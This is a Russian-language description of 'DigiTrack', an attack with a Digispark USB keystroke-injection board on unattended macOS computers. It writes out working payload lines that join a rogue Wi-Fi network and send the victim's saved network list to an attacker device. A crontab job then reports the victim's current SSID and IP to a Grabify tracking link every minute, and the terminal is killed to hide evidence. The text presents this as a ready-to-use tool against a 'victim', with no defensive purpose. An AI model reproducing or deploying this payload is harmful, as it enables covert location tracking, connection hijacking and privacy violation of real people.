DigiTrack
За 30 секунд эта атака может узнать, к каким сетям ранее подключался компьютер MacOS, и внедрить скрипт, который будет отслеживать текущий IP-адрес и Wi-Fi сеть каждые 60 секунд.

Теперь включает: Hardtracker - Digispark VPN buster для отправки IP-адреса и BSSID/SSID ближайших Wi-Fi сетей на компьютере MacOS в трекер Grabify каждые 60 секунд.
Это атака за $5, которая делает несколько вещей:
- Внедряет Wi-Fi бэкдор на компьютер жертвы, позволяя перехватывать её интернет-соединение в любое время, когда вы находитесь в зоне действия Wi-Fi.
- Похищает список всех сетей, к которым когда-либо подключалась жертва (для отслеживания, классификации и перехвата соединения).
- Внедряет задачу отслеживания, которая отправляет IP-адрес и текущую сеть по ссылке Grabify каждые 60 секунд.
Ход атаки: Жертва оставляет компьютер MacOS без присмотра на 30 секунд. Атакующий вставляет плату DigiSpark с загруженной вредоносной нагрузкой. Нагрузка выглядит так (с удалёнными задержками и одиночными нажатиями клавиш):
DigiKeyboard.print("networksetup -setairportnetwork en0 'sneakernet' 00000000");
- Мы добавляем сеть "Sneakernet" в список доверенных сетей и подключаемся к ней.
DigiKeyboard.print("curl -m 10 --silent --output /dev/null -X POST -H "Content-Type: text/plain" --data "$(networksetup -listpreferredwirelessnetworks en0)" 192.168.4.1 &");
- После подключения мы отправляем CURL-запрос, содержащий список всех сетей, к которым когда-либо подключался компьютер MacOS, на esp8266, создающую сеть "Sneakernet". & помещает процесс в фоновый режим на случай, если он займёт слишком много времени, а -m устанавливает таймер на 10 секунд, чтобы предотвратить задержку. Теперь мы знаем, к каким Wi-Fi сетям подключалась жертва, и какие сети заставят компьютер подключиться без запроса.
DigiKeyboard.print("export VISUAL=nano; crontab -e");
- Мы создаём задачу, которая будет выполняться каждые 60 секунд.
DigiKeyboard.print("* * * * * curl --silent --output /dev/null --referer "$(/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I | awk '/ SSID/ {print substr($0, index($0, $2))}')" https://grabi/YOURLINK");
- Мы подавляем вывод CURL и извлекаем имя текущей Wi-Fi сети. Мы отправляем это вместе с CURL-запросом на отслеживающий URL, доставляя IP-адрес цели и текущую Wi-Fi сеть каждые 60 секунд.
DigiKeyboard.print("wait && kill -9 $(ps -p $PPID -o ppid=)");
- Наконец, мы ждём завершения всех фоновых процессов и убиваем окно терминала, чтобы скрыть улики.
Общее время выполнения около 30 секунд, не считая нескольких секунд, которые Digispark ждёт загрузки скетча.
Примечания: Grabify может перейти в режим "I'm under attack" и не разрешить проверку. Ищите эту строку:
div class="cf-browser-verification cf-im-under-attack"
Если вы видите это, значит IP-адрес блокируется Cloudflare.